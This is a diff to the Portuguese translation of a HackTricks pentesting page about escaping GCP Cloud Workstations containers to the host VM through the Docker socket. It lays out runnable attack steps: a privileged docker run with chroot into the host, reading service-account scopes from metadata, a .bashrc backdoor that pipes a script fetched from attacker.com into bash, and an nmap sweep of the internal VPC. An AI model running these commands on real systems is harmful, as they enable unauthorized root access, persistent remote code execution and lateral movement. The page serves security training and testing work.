Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md

@@ -1,22 +1,23 @@
 # GCP - Cloud Workstations Privesc
 
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Container Breakout via Docker Socket (Container -> VM -> Project)
 
-A principal via de escalonamento de privilégios em Cloud Workstations decorre da necessidade de suportar fluxos de trabalho **Docker-in-Docker (DinD)** para desenvolvedores. Quando a configuração da workstation monta o Docker socket ou permite privileged containers (uma configuração comum), um atacante dentro do container da workstation pode escapar para a GCE VM subjacente e roubar seu service account token.
+O principal caminho de escalonamento de privilégios em Cloud Workstations decorre da necessidade de suportar fluxos de trabalho **Docker-in-Docker (DinD)** para desenvolvedores. Quando a configuração da workstation monta o Docker socket ou permite privileged containers (uma configuração comum), um atacante dentro do container da workstation pode escapar para o Compute Engine VM subjacente e roubar seu service account token.
 
 **Pré-requisitos:**
-- Acesso a um terminal de Cloud Workstation (via SSH, sessão comprometida ou credenciais roubadas)
+- Acesso a um terminal do Cloud Workstation (via SSH, sessão comprometida ou credenciais roubadas)
 - A configuração da workstation deve montar `/var/run/docker.sock` ou habilitar privileged containers
 
-**Contexto de arquitetura:** A workstation é um container (Layer 3) rodando sobre um runtime Docker/Containerd (Layer 2) em uma GCE VM (Layer 1). O Docker socket dá acesso direto ao runtime de containers do host.
+**Contexto de arquitetura:** A workstation é um container (Layer 3) executando em um runtime Docker/Containerd (Layer 2) em uma GCE VM (Layer 1). O Docker socket dá acesso direto ao container runtime do host.
 
 > [!NOTE]
-> A ferramenta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza a fuga completa do container e te coloca em um shell root na VM host.
+> A ferramenta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza todo o container escape e fornece um root shell na host VM.
 
 <details>
 
-<summary>Passo 1: Verificar o Docker socket</summary>
+<summary>Passo 1: Verificar Docker socket</summary>
 ```bash
 # Verify the Docker socket is available
 ls -l /var/run/docker.sock
@@ -26,9 +27,9 @@ ls -l /var/run/docker.sock
 
 <details>
 
-<summary>Passo 2: Escapar para o sistema de arquivos da VM do host</summary>
+<summary>Etapa 2: Escapar para o sistema de arquivos da VM host</summary>
 
-Iniciamos um container privilegiado, montando o diretório raiz do host em `/mnt/host`. Também compartilhamos a rede e o PID namespace do host para maximizar a visibilidade.
+Iniciamos um contêiner privilegiado, montando o diretório raiz do host em `/mnt/host`. Também compartilhamos a namespace de rede e PID do host para maximizar a visibilidade.
 ```bash
 # Spawn a privileged container mounting the host's root filesystem
 docker run -it --rm --privileged --net=host --pid=host \
@@ -38,7 +39,7 @@ alpine sh
 # Inside the new container, chroot into the host
 chroot /mnt/host /bin/bash
 ```
-Você agora tem um **root shell on the underlying Compute Engine VM** (Layer 1).
+Agora você tem um **root shell no Compute Engine VM subjacente** (Camada 1).
 
 </details>
 
@@ -62,15 +63,15 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
 
 > [!CAUTION]
 > **Verifique os Escopos!**
-> Mesmo que o Service Account anexado seja **Editor**, a VM pode estar restrita pelos escopos de acesso.
+> Mesmo que a Conta de Serviço anexada seja **Editor**, a VM pode estar limitada pelos escopos de acesso.
 > Se você vir `https://www.googleapis.com/auth/cloud-platform`, você tem acesso total.
-> Se você vir apenas `logging.write` e `monitoring.write`, você está limitado aos vetores de **Network Pivot** e **Persistence** abaixo.
+> Se você vir apenas `logging.write` e `monitoring.write`, você estará limitado aos vetores **Network Pivot** e **Persistence** abaixo.
 
 <details>
 
-<summary>Passo 4: Achieve Persistence (Backdoor the User)</summary>
+<summary>Passo 4: Alcançar Persistence (Backdoor o Usuário)</summary>
 
-Cloud Workstations montam um disco persistente em `/home/user`. Como o usuário do container (geralmente `user`, UID 1000) corresponde ao usuário do host (UID 1000), você pode gravar no diretório home do host. Isso permite que você backdoor o ambiente mesmo se o container da workstation for reconstruído.
+Cloud Workstations montam um disco persistente em `/home/user`. Como o container user (geralmente `user`, UID 1000) corresponde ao host user (UID 1000), você pode escrever no diretório home do host. Isso permite que você backdoor o ambiente mesmo se o workstation container for reconstruído.
 ```bash
 # Check if you can write to the host's persistent home
 ls -la /mnt/host/home/user/
@@ -83,9 +84,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
 
 <details>
 
-<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>
+<summary>Etapa 5: Network Pivot (Internal VPC Access)</summary>
 
-Como você compartilha o namespace de rede do host (`--net=host`), você agora é um nó confiável na VPC. Você pode realizar scans em serviços internos que permitem acesso com base em IP whitelisting.
+Como você compartilha o namespace de rede do host (`--net=host`), agora você é um nó confiável na VPC. Você pode escanear serviços internos que permitem acesso com base em IP whitelisting.
 ```bash
 # Install scanning tools on the host (if internet access allows)
 apk add nmap
@@ -94,3 +95,7 @@ apk add nmap
 nmap -sS -p 80,443,22 10.0.0.0/8
 ```
 </details>
+
+
+
+{{#include ../../../banners/hacktricks-training.md}}